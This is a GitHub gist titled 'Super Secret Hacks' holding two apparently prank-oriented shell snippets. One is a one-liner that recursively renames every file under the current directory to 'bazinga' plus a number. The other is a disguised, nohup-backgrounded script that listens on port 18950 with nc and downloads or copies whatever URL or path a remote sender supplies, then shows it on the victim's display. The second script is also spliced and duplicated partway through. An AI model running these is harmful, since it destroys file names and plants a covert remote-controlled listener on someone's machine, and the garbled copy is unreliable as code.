Created
August 4, 2018 00:31
-
-
Save Lytigas/1c7b61a3274bbe6b5d378e34ad823a62 to your computer and use it in GitHub Desktop.
Super Secret Hacks
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find . -type f | awk 'function dirname (pathname){if (!sub(/\/[^\/]*\/?$/, "", pathname)){ return "." }else if (pathname != ""){ return pathname }else{ return "/" }}{print $1 " " dirname($1) "/bazinga" count++}' | xargs -L 1 mv |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
export LOGFILE="/tmp/ubuntu_bashd.log" | |
export PORT_NUMBER="18950" | |
export TMP_FILE="/tmp/listen_sys.cache" | |
export IMG_URL="https://wp-test.sencha.com/wp-content/uploads/2016/02/icon-sencha-test-studio-1.png" | |
set -o pipefail | |
kill_port() { | |
lsof -i tcp:$1 | awk 'NR!=1 {print $2}' | xargs kill | |
} | |
export -f kill_port | |
ubuntu_xenial_bashd() { | |
IP="$(ifconfig | awk '/inet addr/{print substr($2,6)}' | head -n 1 )" | |
echo "Listening on $IP, port $PORT_NUMBER" | |
while true | |
do#!/usr/bin/env bash | |
export LOGFILE="/tmp/ubuntu_bashd.log" | |
export PORT_NUMBER="18950" | |
export TMP_FILE="/tmp/listen_sys.cache" | |
export IMG_URL="https://wp-test.sencha.com/wp-content/uploads/2016/02/icon-sencha-test-studio-1.png" | |
set -o pipefail | |
kill_port() { | |
lsof -i tcp:$1 | awk 'NR!=1 {print $2}' | xargs kill | |
} | |
export -f kill_port | |
ubuntu_xenial_bashd() { | |
IP="$(ifconfig | awk '/inet addr/{print substr($2,6)}' | head -n 1 )" | |
echo "Listening on $IP, port $PORT_NUMBER" | |
while true | |
do | |
IMG="$(nc -l $IP $PORT_NUMBER )" | |
#echo "$IMG | |
if [ ! -z "$IMG" ]; then | |
if [[ "$IMG" == http* ]]; then | |
echo "wget-ing -O $TMP_FILE $IMG" | |
wget -O "$TMP_FILE" "$IMG" | |
elif [[ "$IMG" == /* ]]; then | |
echo "cp-ing $IMG $TMP_FILE" | |
cp "$IMG" "$TMP_FILE" | |
fi | |
echo "Got img data, fehing" | |
export DISPLAY=:0 | |
display "$TMP_FILE" & | |
else | |
echo "Killing listening process on port $PORT_NUMBER" | |
kill_port "$PORT_NUMBER" | |
fi | |
echo "cycling" | |
done | |
} | |
export -f ubuntu_xenial_bashd | |
date > "$LOGFILE" | |
nohup bash -c "ubuntu_xenial_bashd" >> "$LOGFILE" 2>&1 & | |
IMG="$(nc -l $IP $PORT_NUMBER )" | |
#echo "$IMG | |
if [ ! -z "$IMG" ]; then | |
if [[ "$IMG" == http* ]]; then | |
echo "wget-ing -O $TMP_FILE $IMG" | |
wget -O "$TMP_FILE" "$IMG" | |
elif [[ "$IMG" == /* ]]; then | |
echo "cp-ing $IMG $TMP_FILE" | |
cp "$IMG" "$TMP_FILE" | |
fi | |
echo "Got img data, fehing" | |
export DISPLAY=:0 | |
display "$TMP_FILE" & | |
else | |
echo "Killing listening process on port $PORT_NUMBER" | |
kill_port "$PORT_NUMBER" | |
fi | |
echo "cycling" | |
done | |
} | |
export -f ubuntu_xenial_bashd | |
date > "$LOGFILE" | |
nohup bash -c "ubuntu_xenial_bashd" >> "$LOGFILE" 2>&1 & |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment